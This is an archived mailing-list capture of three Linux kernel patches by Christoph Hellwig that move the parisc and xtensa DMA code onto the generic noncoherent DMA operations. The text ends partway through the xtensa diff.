From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 24/25] parisc: always use flush_kernel_dcache_range for DMA cache maintainance
Date: Tue, 22 May 2018 14:04:29 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20180522120430.28709-25-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990664 28349 195.159.176.226 (22 May 2018 12:04:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:04:24 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:04:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL61Y-0007E7-Va
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:04:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752813AbeEVMG0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:06:26 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:55836 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752778AbeEVMGQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:06:16 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=yM2hvlgIfcx8eMmKziOdQ7e/gKolEUJJ6VSZM4vZ//A=; b=TSK2QtCLDs85e0hsNo+GOdC5Q
        nYE32wDyp2uOmtVZjjg1WMHs4WvVEADJH6H38zgjxEftcwN+DeV3xMf37QSf1DB8yC9WzjVchnQAX
        WFkPqPBCgdXwIhLriuX25UL1lrEyDB3nAeUlytKLTaUoEQMJY2R6ujjflIp795F0o8SZ6GXzPvplv
        mGJxvFewjq5+ZwMCQBVl2kKBDpGDO00muODBF4qIrcjJyQXs6+gxB4cCGFp7RE3slqSCakx31RXuR
        NUrgqfSV4nr85brM0WswmAyonnZrbbUosLIm0yDol5Wa4bLW4QUZTI0t0ZtJ+5PQfZ1P2HmPPIwIu
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL63F-0001YN-H8; Tue, 22 May 2018 12:06:02 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773751 gmane.linux.kernel.iommu:24485 gmane.linux.kernel.cross-arch:44294 gmane.linux.ports.alpha:5074 gmane.linux.kernel.arc:3930 gmane.linux.ports.arm.kernel:652013 gmane.linux.ports.hexagon:1753 gmane.linux.ports.parisc:28647 gmane.linux.ports.sh.devel:57065 gmane.linux.ports.sparc:27902
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773751>

Current the S/G list based DMA ops use flush_kernel_vmap_range which
contains a few UP optimizations, while the rest of the DMA operations
uses flush_kernel_dcache_range.  The single vs sg operations are supposed
to have the same effect, so they should use the same routines.  Use
the more conservation version for now, but if people more familiar with
parisc think the vmap version is generally fine for DMA we should switch
all interfaces over to it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/kernel/pci-dma.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 52304cb290f9..4d7506336918 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -550,7 +550,7 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,
@@ -581,7 +581,7 @@ static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -592,7 +592,7 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
-- 
2.17.0



From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 25/25] parisc: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:30 +0200
Lines: 249
Approved: news@gmane.org
Message-ID: <20180522120430.28709-26-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990668 28729 195.159.176.226 (22 May 2018 12:04:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:04:28 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:04:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL61e-0007E7-UC
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:04:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752855AbeEVMGc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:06:32 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:56010 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751361AbeEVMGT (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:06:19 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=Lpbuxnh9XBpFSeI02TjNsx17CqPSzEqflfpopAg3Okc=; b=os01+qlJ0AdlogIAoZQOY8MGl
        y5vfQ3XIeNQLE5f2NAPTtvLPrLJPKtrf0gC5HMxCegIa21W9mnNsCRar71PowhtDozT9lQ/iK/CGZ
        70WokvKGH92cLcjyIWarXX3oSF7/zNMzHi7iLnTcqe2L6xyTAWcRHn0CsChs1aKvgbipDnVdFGILK
        CSazQ6egDNEVdwAY00dhY6Y9x8RwTsTyrVtv7Y/sFNUhg3oac9T8lvLIBNAwSHNWPq82VYmddNlIo
        Uuk9V/Zz0vzKmdQmJOtEDU8KdADtu4Mxb6K4i4es7GKHOUhxVBAR8S29JkCiny92WBZnqSjb5IuRz
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL63J-0001aJ-3D; Tue, 22 May 2018 12:06:05 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773752 gmane.linux.kernel.iommu:24486 gmane.linux.kernel.cross-arch:44295 gmane.linux.ports.alpha:5075 gmane.linux.kernel.arc:3931 gmane.linux.ports.arm.kernel:652014 gmane.linux.ports.hexagon:1754 gmane.linux.ports.parisc:28648 gmane.linux.ports.sh.devel:57066 gmane.linux.ports.sparc:27903
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773752>

Switch to the generic noncoherent direct mapping implementation.

Fix sync_single_for_cpu to do skip the cache flush unless the transfer
is to the device to match the more tested unmap_single path which should
have the same cache coherency implications.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/Kconfig                   |   4 +
 arch/parisc/include/asm/dma-mapping.h |   4 -
 arch/parisc/kernel/pci-dma.c          | 145 ++------------------------
 arch/parisc/kernel/setup.c            |   2 +-
 4 files changed, 16 insertions(+), 139 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 4d8f64d48597..4993c6dc8358 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -188,6 +188,10 @@ config PA20
 config PA11
 	def_bool y
 	depends on PA7000 || PA7100LC || PA7200 || PA7300LC
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_CACHE_SYNC
 
 config PREFETCH
 	def_bool y
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index eeec8dd18e74..44a9f97194aa 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -21,10 +21,6 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
-#ifdef CONFIG_PA11
-extern const struct dma_map_ops pa11_dma_ops;
-#endif
-
 extern const struct dma_map_ops *hppa_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 4d7506336918..87a7926cda6f 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -21,13 +21,12 @@
 #include <linux/init.h>
 #include <linux/gfp.h>
 #include <linux/mm.h>
-#include <linux/pci.h>
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/string.h>
 #include <linux/types.h>
-#include <linux/scatterlist.h>
-#include <linux/export.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cacheflush.h>
 #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
@@ -450,7 +449,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 	return addr;
 }
 
-static void *pa11_dma_alloc(struct device *dev, size_t size,
+void *arch_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 
@@ -460,7 +459,7 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 		return pcx_dma_alloc(dev, size, dma_handle, gfp, attrs);
 }
 
-static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order = get_order(size);
@@ -475,142 +474,20 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages((unsigned long)vaddr, get_order(size));
 }
 
-static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = page_address(page) + offset;
-	BUG_ON(direction == DMA_NONE);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		flush_kernel_dcache_range((unsigned long) addr, size);
-
-	return virt_to_phys(addr);
-}
-
-static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/*
-	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
-	 * simple map/unmap case. However, it IS necessary if if
-	 * pci_dma_sync_single_* has been called and the buffer reused.
-	 */
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-}
-
-static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	for_each_sg(sglist, sg, nents, i) {
-		unsigned long vaddr = (unsigned long)sg_virt(sg);
-
-		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
-		sg_dma_len(sg) = sg->length;
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_kernel_dcache_range(vaddr, sg->length);
-	}
-	return nents;
-}
-
-static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
-
-const struct dma_map_ops pa11_dma_ops = {
-	.alloc =		pa11_dma_alloc,
-	.free =			pa11_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 5c8450a22255..4e87c35c22b7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -102,7 +102,7 @@ void __init dma_ops_init(void)
 	case pcxl: /* falls through */
 	case pcxs:
 	case pcxt:
-		hppa_dma_ops = &pa11_dma_ops;
+		hppa_dma_ops = &dma_noncoherent_ops;
 		break;
 	default:
 		break;
-- 
2.17.0



From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 21/25] xtensa: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:26 +0200
Lines: 278
Approved: news@gmane.org
Message-ID: <20180522120430.28709-22-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990698 30766 195.159.176.226 (22 May 2018 12:04:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:04:58 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:04:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL626-0007sC-Es
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:04:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751278AbeEVMGO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:06:14 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:55196 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752723AbeEVMGE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:06:04 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=kJHgVcr47HpbxbzjAvu1/nLmLnASDqdfCO/jlhImyuI=; b=qO5SvOIEbEpdqmhVTHhWv19+p
        8F5jCjzzvNgsEE4EYzDXOe1OiKESfvsSDZyR4soHqjSMq/VRppdYjzsRbNBry0Bn/c3AXEYLYCNKz
        1Ea67qz0Id/x0IenzO+6aqfIKfxeXGilyQe4lmXpFwDD/5tE2mZjkGbnBLHRR3z7HGEjfUkrcKmX8
        3MGqItJr984AN+kBKuVXzoa8p30/ziahf4g6dn/msXV4EmTQz5gu90pMnLxg181NXaIzNT8GSXAnP
        rPq1kp3/Ue9ft19IirbBDsQUIrV7OfF9ItBYPMNWInIj32xS8c+uuFhzszUAIX3MbUBnDHdUzjTG5
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL634-0001Sg-Rt; Tue, 22 May 2018 12:05:51 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773753 gmane.linux.kernel.iommu:24487 gmane.linux.kernel.cross-arch:44296 gmane.linux.ports.alpha:5076 gmane.linux.kernel.arc:3932 gmane.linux.ports.arm.kernel:652015 gmane.linux.ports.hexagon:1755 gmane.linux.ports.parisc:28649 gmane.linux.ports.sh.devel:57067 gmane.linux.ports.sparc:27904
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773753>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/xtensa/Kconfig                   |   3 +
 arch/xtensa/include/asm/Kbuild        |   1 +
 arch/xtensa/include/asm/dma-mapping.h |  26 ------
 arch/xtensa/kernel/pci-dma.c          | 130 +++-----------------------
 4 files changed, 19 insertions(+), 141 deletions(-)
 delete mode 100644 arch/xtensa/include/asm/dma-mapping.h

diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 17df332269b2..ef114648e954 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -5,11 +5,14 @@ config ZONE_DMA
 config XTENSA
 	def_bool y
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_IRQ_SHOW
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 436b20337168..a8d6cd3bee4b 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -2,6 +2,7 @@ generic-y += bug.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
deleted file mode 100644
index 44098800dad7..000000000000
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- *
- * Copyright (C) 2003 - 2005 Tensilica Inc.
- * Copyright (C) 2015 Cadence Design Systems Inc.
- */
-
-#ifndef _XTENSA_DMA_MAPPING_H
-#define _XTENSA_DMA_MAPPING_H
-
-#include <asm/cache.h>
-#include <asm/io.h>
-
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-
-extern const struct dma_map_ops xtensa_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &xtensa_dma_map_ops;
-}
-
-#endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 392b4a80ebc2..a83d60e92908 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -16,26 +16,24 @@
  */
 
 #include <linux/dma-contiguous.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/dma-direct.h>
 #include <linux/gfp.h>
 #include <linux/highmem.h>
 #include <linux/mm.h>
-#include <linux/module.h>
-#include <linux/pci.h>
-#include <linux/string.h>
 #include <linux/types.h>
 #include <asm/cacheflush.h>
 #include <asm/io.h>
 
-static void do_cache_op(dma_addr_t dma_handle, size_t size,
+static void do_cache_op(phys_addr_t paddr, size_t size,
 			void (*fn)(unsigned long, unsigned long))
 {
-	unsigned long off = dma_handle & (PAGE_SIZE - 1);
-	unsigned long pfn = PFN_DOWN(dma_handle);
+	unsigned long off = paddr & (PAGE_SIZE - 1);
+	unsigned long pfn = PFN_DOWN(paddr);
 	struct page *page = pfn_to_page(pfn);
 
 	if (!PageHighMem(page))
-		fn((unsigned long)bus_to_virt(dma_handle), size);
+		fn((unsigned long)phys_to_virt(paddr), size);
 	else
 		while (size > 0) {
 			size_t sz = min_t(size_t, size, PAGE_SIZE - off);
@@ -49,14 +47,13 @@ static void do_cache_op(dma_addr_t dma_handle, size_t size,
 		}
 }
 
-static void xtensa_sync_single_for_cpu(struct device *dev,
-				       dma_addr_t dma_handle, size_t size,
-				       enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
-		do_cache_op(dma_handle, size, __invalidate_dcache_range);
